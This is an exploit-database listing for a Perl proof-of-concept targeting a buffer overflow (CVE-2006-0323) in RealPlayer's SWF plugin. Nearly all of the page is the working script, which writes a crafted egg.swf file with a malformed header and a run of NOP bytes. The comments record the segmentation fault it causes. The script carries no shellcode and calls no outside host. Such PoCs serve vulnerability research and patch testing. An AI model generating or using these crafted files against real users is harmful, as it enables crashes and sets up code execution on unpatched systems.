RealPlayer <= 10.5 (6.0.12.1040-1348) - SWF Buffer Overflow PoC

2014-07-0100:00:00

Root

www.seebug.org

0.969 High

EPSS

Percentile

99.6%

JSON

No description provided by source.


                                                #!/usr/bin/perl
###################################################
# RealPlayer: Buffer overflow vulnerability / PoC
#
# CVE-2006-0323
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323
#
# RealNetworks Advisory
# http://service.real.com/realplayer/security/03162006_player/en/
#
# Federico L. Bossi Bonin 
# fbossi[at]netcomm.com.ar
###################################################

# Program received signal SIGSEGV, Segmentation fault.
# [Switching to Thread -1218976064 (LWP 21932)]
# 0xb502eeaf in CanUnload2 () from ./plugins/swfformat.so

my $EGGFILE=&#34;egg.swf&#34;;
my $header=&#34;\x46\x57\x53\x05\xCF\x00\x00\x00\x60&#34;;

my $endheader=&#34;\x19\xe4\x7d\x1c\xaf\xa3\x92\x0c\x72\xc1\x80\x00\xa2\x08\x01&#34;.
	      &#34;\x00\x00\x00\x00\x01\x02\x00\x01\x00\x00\x00\x02\x03\x00\x02&#34;.
	      &#34;\x00\x00\x00\x04\x04\x00\x03\x00\x00\x00\x08\x05\x00\x04\x00&#34;.
              &#34;\x00\x00\x00\x89\x06\x06\x01\x00\x01\x00\x16\xfa\x1f\x40\x40&#34;.
	      &#34;\x00\x00\x00&#34;;


open(EGG, &#34;&#62;$EGGFILE&#34;) or die &#34;ERROR:$EGGFILE\n&#34;;
print EGG $header;

for ($i = 0; $i &#60; 135; $i++) {
$buffer.= &#34;\x90&#34;;
}

print EGG $buffer;
print EGG $endheader;
close(EGG);

# milw0rm.com [2006-03-28]